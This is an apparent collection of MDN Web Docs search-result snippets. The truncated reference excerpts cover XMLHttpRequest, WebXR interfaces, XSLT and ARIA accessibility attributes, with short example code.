ck', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: error event - Web APIs
ck', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'getallresponseheaders()' in that specification.
XMLHttpRequest: load event - Web APIs
ck', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadend event - Web APIs
ck', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadstart event - Web APIs
ck', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.onreadystatechange - Web APIs
} } }; xhr.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.open() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'open()' in that specification.
XMLHttpRequest.overrideMimeType() - Web APIs
// interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest: progress event - Web APIs
ck', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.readyState - Web APIs
ystate); // readystate will be 0 xhr.open('get', '/api', true); console.log('opened', xhr.readystate); // readystate will be 1 xhr.onprogress = function () { console.log('loading', xhr.readystate); // readystate will be 3 }; xhr.onload = function () { console.log('done', xhr.readystate); // readystate will be 4 }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.response - Web APIs
var url = 'somepage.html'; //a local page function load(url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseText - Web APIs
); xhr.open('get', '/server', true); // if specified, responsetype must be empty string or "text" xhr.responsetype = 'text'; xhr.onload = function () { if (xhr.readystate === xhr.done) { if (xhr.status === 200) { console.log(xhr.response); console.log(xhr.responsetext); } } }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseType - Web APIs
specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseURL - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/test', true); xhr.onload = function () { console.log(xhr.responseurl); // http://example.com/test }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseXML - Web APIs
t', '/server'); // if specified, responsetype must be empty string or "document" xhr.responsetype = 'document'; // force the response to be parsed as xml xhr.overridemimetype('text/xml'); xhr.onload = function () { if (xhr.readystate === xhr.done && xhr.status === 200) { console.log(xhr.response, xhr.responsexml); } }; xhr.send(); specifications specification status comment xmlhttprequestthe definition of 'responsexml' in that specification.
XMLHttpRequest.send() - Web APIs
} } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestthe definition of 'send()' in that specification.
XMLHttpRequest.sendAsBinary() - Web APIs
nt8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx] = sdata.charcodeat(nidx) & 0xff; } /* send as arraybufferview...: */ this.send(ui8data); /* ...or as arraybuffer (legacy)...: this.send(ui8data.buffer); */ }; } note: it's possible to build this polyfill putting two types of data as argument for send(): an arraybuffer (ui8data.buffer – the commented code) or an arraybufferview (ui8data, which is a typed array of 8-bit unsigned integers – uncommented code).
XMLHttpRequest.setRequestHeader() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'setrequestheader()' in that specification.
XMLHttpRequest.status - Web APIs
log('unsent: ', xhr.status); xhr.open('get', '/server'); console.log('opened: ', xhr.status); xhr.onprogress = function () { console.log('loading: ', xhr.status); }; xhr.onload = function () { console.log('done: ', xhr.status); }; xhr.send(); /** * outputs the following: * * unsent: 0 * opened: 0 * loading: 200 * done: 200 */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.statusText - Web APIs
ustext); xhr.open('get', '/server', true); console.log('1 opened', xhr.statustext); xhr.onprogress = function () { console.log('3 loading', xhr.statustext); }; xhr.onload = function () { console.log('4 done', xhr.statustext); }; xhr.send(null); /** * outputs the following: * * 0 unsent * 1 opened * 3 loading ok * 4 done ok */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.timeout - Web APIs
}; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest: timeout event - Web APIs
examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLHttpRequest.upload - Web APIs
specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.withCredentials - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
xmlhttp.abort(); // this will invoke our onabort handler above specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onerror - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onload - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget - Web APIs
specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestResponseType - Web APIs
specifications specification status comment xmlhttprequest unknown live standard, latest version ...
XMLSerializer - Web APIs
specifications specification status comment dom parsing and serializationthe definition of 'xmlserializer' in that specification.
XRBoundedReferenceSpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrboundedreferencespace' in that specification.
XREye - Web APIs
WebAPIXREye
specifications specification status comment webxr device apithe definition of 'xreye' in that specification.
XRFrame.getPose() - Web APIs
WebAPIXRFramegetPose
specifications specification status comment webxr device apithe definition of 'xrframe.getpose()' in that specification.
XRFrame.getViewerPose() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrframe.getviewerpose()' in that specification.
XRFrame.session - Web APIs
WebAPIXRFramesession
specifications specification status comment webxr device apithe definition of 'xrframe.session' in that specification.
XRFrameRequestCallback - Web APIs
specifications specification status comment webxr device apithe definition of 'xrframerequestcallback' in that specification.
XRHandedness - Web APIs
specifications specification status comment webxr device apithe definition of 'xrhandedness' in that specification.
XRInputSource.gripSpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.gripspace' in that specification.
XRInputSource.handedness - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.handedness' in that specification.
XRInputSource.profiles - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.profiles' in that specification.
XRInputSource.targetRayMode - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.handedness' in that specification.
XRInputSource.targetRaySpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.targetrayspace' in that specification.
XRInputSourceArray.entries() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement th...
XRInputSourceArray.forEach() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement th...
XRInputSourceArray.keys() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement th...
XRInputSourceArray.length - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray.length' in that specification.
XRInputSourceArray.values() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement th...
XRInputSourceArray - Web APIs
let sources = xrsession.inputsources; if (sources.length > 0) { handleinput(sources[0]); } examples specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.
XRInputSourceEvent.frame - Web APIs
xrsession.onselectstart = event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { checkandhandlehit(targetraypose.transform); } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.frame' in that specification.
XRInputSourceEvent.inputSource - Web APIs
xrsession.onselect = event => { let source = event.inputsource; if (source.targetraymode == "gaze") { /* handle selection using a gaze input */ } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.inputsource' in that specification.
XRInputSourceEventInit.frame - Web APIs
let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification.
XRInputSourceEventInit.inputSource - Web APIs
let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification.
XRInputSourceEventInit - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit' in that specification.
XRInputSourcesChangeEvent() - Web APIs
let iscevent = new xrinputsourceschangeevent("inputsourceschange", { session: xrsession, added: [newinputsource], removed: [] }); specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent()' in that specification.
XRInputSourcesChangeEvent.added - Web APIs
xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
XRInputSourcesChangeEvent.session - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.session' in that specification.
XRInputSourcesChangeEvent - Web APIs
ange); function oninputsourceschange(event) { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { loadcontrollermesh(input); } } } you can also add a handler for inputsourceschange events by setting the oninputsourceschange event handler: xrsession.oninputsourceschange = oninputsourceschange; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent' in that specification.
XRInputSourcesChangeEventInit.added - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.added' in that specification.
XRInputSourcesChangeEventInit.removed - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.removed' in that specification.
XRInputSourcesChangeEventInit.session - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.session' in that specification.
XRInputSourcesChangeEventInit - Web APIs
examples <tbd> specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit' in that specification.
XRPermissionStatus - Web APIs
usage notes examples specifications specification status comment webxr device apithe definition of 'xrpermissionstatus' in that specification.
XRPose.emulatedPosition - Web APIs
specifications specification status comment webxr device apithe definition of 'xrpose.emulatedposition' in that specification.
XRPose.transform - Web APIs
WebAPIXRPosetransform
ame; let targetraypose = frame.getpose(source.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandaction(); } } }); specifications specification status comment webxr device apithe definition of 'xrpose.transform' in that specification.
XRPose - Web APIs
WebAPIXRPose
example <<<--- todo: needs example --->>> specifications specification status comment webxr device apithe definition of 'xrpose' in that specification.
XRReferenceSpace.onreset - Web APIs
specifications specification status comment webxr device apithe definition of 'onreset' in that specification.
XRReferenceSpaceEvent() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent()' in that specification.
XRReferenceSpaceEvent.referenceSpace - Web APIs
examples specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.referencespace' in that specification.
XRReferenceSpaceEvent.transform - Web APIs
xrreferencespace.addeventlistener("reset", event => { for (let obj of scene.objects) { mat4.multiply(obj.transform, obj.transform, event.transform); } }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.transform' in that specification.
XRReferenceSpaceEvent - Web APIs
specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent' in that specification.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
XRReferenceSpaceEventInit.transform - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.transform' in that specification.
XRReferenceSpaceEventInit - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit' in that specification.
XRRenderState.baseLayer - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrenderstate.baselayer' in that specification.
XRRenderState.depthFar - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.depthfar' in that specification.
XRRenderState.depthNear - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.depthnear' in that specification.
XRRigidTransform() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrigidtransform()' in that specification.
XRRigidTransform.matrix - Web APIs
let transform = new xrrigidtransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawglobject("magic-lamp", transform.matrix); specifications specification status comment webxr device apithe definition of 'xrrigidtransform.matrix' in that specification.
XRRigidTransform.orientation - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrigidtransform.orientation' in that specification.
XRRigidTransform - Web APIs
xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification.
XRSession.end() - Web APIs
WebAPIXRSessionend
example specifications specification status comment webxr device apithe definition of 'xrsession.end' in that specification.
XRSession: end event - Web APIs
ler to your xrsession instance using addeventlistener(), like this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apithe definition of 'end event' in that specification.
XRSession.inputSources - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.inputsources' in that specification.
XRSession: inputsourceschange event - Web APIs
examples specifications specification status comment webxr device apithe definition of 'inputsourceschange event' in that specification.
XRSession.onend - Web APIs
WebAPIXRSessiononend
}; example xrsession.onend = function(event) { console.log("the xr session has ended") } specifications specification status comment webxr device apithe definition of 'xrsession.onend' in that specification.
XRSession.oninputsourceschange - Web APIs
} example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsourceschange' in that specification.
XRSession.onsqueeze - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.onsqueeze' in that specification.
XRSession.onsqueezestart - Web APIs
xrsession.onsqueezestart = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (targetraypose) { user.heldobject = findobjectusingray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezestart' in that specification.
XRSession.onvisibilitychange - Web APIs
} example xrsession.onvisibilitychange = function(event) { console.log("the visibility the xr session changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibilitychange' in that specification.
XRSession.renderState - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.renderstate' in that specification.
XRSession: squeezestart event - Web APIs
cking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr device apithe definition of 'squeezestart event' in that specification.
XRSession: visibilitychange event - Web APIs
you can also create the event handler by assigning it to the xrsession's onvisibilitychange event handler property, like this: xrsession.onvisibilitychange = (e) => { /* event handled here */ }; specifications specification status comment webxr device apithe definition of 'visibilitychange event' in that specification.
XRSessionEvent() - Web APIs
xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent() constructor' in that specification.
XRSessionEvent.session - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsessionevent.session' in that specification.
XRSessionEvent - Web APIs
xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent' in that specification.
XRSessionEventInit.session - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsessioneventinit.session' in that specification.
XRSessionEventInit - Web APIs
examples <tbd> specifications specification status comment webxr device apithe definition of 'xrsessioneventinit' in that specification.
XRTargetRayMode - Web APIs
specifications specification status comment webxr device apithe definition of 'xrtargetraymode' in that specification.
XRView.eye - Web APIs
WebAPIXRVieweye
specifications specification status comment webxr device apithe definition of 'xrview.eye' in that specification.
XRView.projectionMatrix - Web APIs
examples specifications specification status comment webxr device apithe definition of 'xrview.projectionmatrix' in that specification.
XRView.transform - Web APIs
WebAPIXRViewtransform
<<<--- finish and add link --->>> specifications specification status comment webxr device apithe definition of 'xrview.transform' in that specification.
XRViewerPose.views - Web APIs
specifications specification status comment webxr device apithe definition of 'xrviewerpose.views' in that specification.
XRViewport.height - Web APIs
WebAPIXRViewportheight
specifications specification status comment webxr device apithe definition of 'xrviewport.height' in that specification.
XRViewport.width - Web APIs
WebAPIXRViewportwidth
specifications specification status comment webxr device apithe definition of 'xrviewport.width' in that specification.
XRViewport.x - Web APIs
WebAPIXRViewportx
specifications specification status comment webxr device apithe definition of 'xrviewport.x' in that specification.
XRViewport.y - Web APIs
WebAPIXRViewporty
specifications specification status comment webxr device apithe definition of 'xrviewport.y' in that specification.
XRViewport - Web APIs
erpose(xrreferencespace); gl.bindframebuffer(xrwebgllayer.framebuffer); for (xrview of viewerpose.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); // now we can use webgl to draw into a viewport matching // the viewer's needs } }); specifications specification status comment webxr device apithe definition of 'xrviewport' in that specification.
XRVisibilityState - Web APIs
specifications specification status comment webxr device apithe definition of 'xrvisibilitystate' in that specification.
XRWebGLLayer.antialias - Web APIs
*/ if (!gllayer.antialias) { /* compensate for lack of antialiasing */ } specifications specification status comment webxr device apithe definition of 'xrwebgllayer.antialias' in that specification.
XRWebGLLayer.framebuffer - Web APIs
let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebuffer' in that specification.
XRWebGLLayer.framebufferHeight - Web APIs
let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferheight; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferheight' in that specification.
XRWebGLLayer.framebufferWidth - Web APIs
let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferwidth; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferwidth' in that specification.
XRWebGLLayer.getViewport() - Web APIs
ebuffer, gllayer.framebuffer); gl.clearcolor(0, 0, 0, 1.0); gl.cleardepth(1.0); gl.clear(gl.color_buffer_bit, gl.depth_color_bit); for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the scene now */ } } specifications specification status comment webxr device apithe definition of 'xrwebgllayer.getviewport()' in that specification.
XRWebGLLayer.ignoreDepthValues - Web APIs
this is demonstrated in the snippet of code below: const gllayeroptions = { ignoredepthvalues: true }; let gllayer = new xrwebgllayer(xrsession, gl, gllayeroptions); specifications specification status comment webxr device apithe definition of 'xrwebgllayer.ignoredepthvalues' in that specification.
XRWebGLLayerInit.alpha - Web APIs
xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.alpha' in that specification.
XRWebGLLayerInit.antialias - Web APIs
specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.antialias' in that specification.
XRWebGLLayerInit.depth - Web APIs
xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { depth: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.depth' in that specification.
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { framebufferscalefactor: 0.5 }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.framebufferscalefactor' in that specification.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false, ignoredepthvalues: true }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.ignoredepthvalues' in that specification.
XRWebGLLayerInit.stencil - Web APIs
xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { stencil: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.stencil' in that specification.
XRWebGLLayerInit - Web APIs
const layeroptions = { ignoredepthvalues: true }; xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, layeroptions); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit' in that specification.
Generating HTML - Web APIs
generating html one common application of xslt in the browser is to transform xml into html on the client.
Introduction - Web APIs
however, it has several limitations, such as lack of programming structures and ability to create complex layout models.
msRegionOverflow - Web APIs
in particular, in this last case, that means the region may have received no content from the named flow (for example if the region is too small to accommodate any content).
ARIA Technique Template - Accessibility
examples example 1: code working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
Using the aria-activedescendant attribute - Accessibility
examples example 1: code working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
Using the aria-describedby attribute - Accessibility
used by aria roles all elements of the base markup related aria techniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-describedby ...
Using the aria-orientation attribute - Accessibility
lider" role="slider" aria-orientation="vertical" aria-valuemin="0" aria-valuemax="17" aria-valuenow="14" > <span>11</span> </a> working examples: slider example notes used with aria roles scrollbar listbox combobox menu tree separator slider tablist toolbar related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-orientation attribute ...
Using the aria-relevant attribute - Accessibility
aria-relevant is commonly used when a web page contains content that may be updated while viewing the page.
Using the aria-required attribute - Accessibility
l for="streetaddress">street address:</label> <input id="streetaddress" type="text" /> </form> working examples: tooltip example (includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria techniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for forms constraint validation in html5 ...
Using the aria-valuemax attribute - Accessibility
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemin aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemax attribute ...
Using the aria-valuemin attribute - Accessibility
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemin attribute ...
Using the aria-valuenow attribute - Accessibility
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuemin aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuenow attribute ...
Using the link role - Accessibility
note: where possible, it is recommended that you use a native <a> element rather than the link role, as native elements are more widely supported by older user agents and assistive technology.
Using the log role - Accessibility
aria attributes used log related aria techniques marquee role compatibility tbd: add support information for common ua and at product combinations additional resources aria best practices – mplementing live regions: http://www.w3.org/tr/wai-aria-practices/#liveregions ...
Using the presentation role - Accessibility
examples example 1: <ul role="tablist"> <li role="presentation"> <a role="tab" href="#">tab 1</a> </li> <li role="presentation"> <a role="tab" href="#">tab 2</a> </li> <li role="presentation"> <a role="tab" href="#">tab 3</a> </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources using aria - 2.9 use of role=presentation or role=none: https://www.w3.org/tr/using-aria/#presentation ...
Using the progressbar role - Accessibility
</div> working examples: notes aria attributes used progressbar aria-valuenow aria-valuemin aria-valuemax aria-valuetext related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
Using the radio role - Accessibility
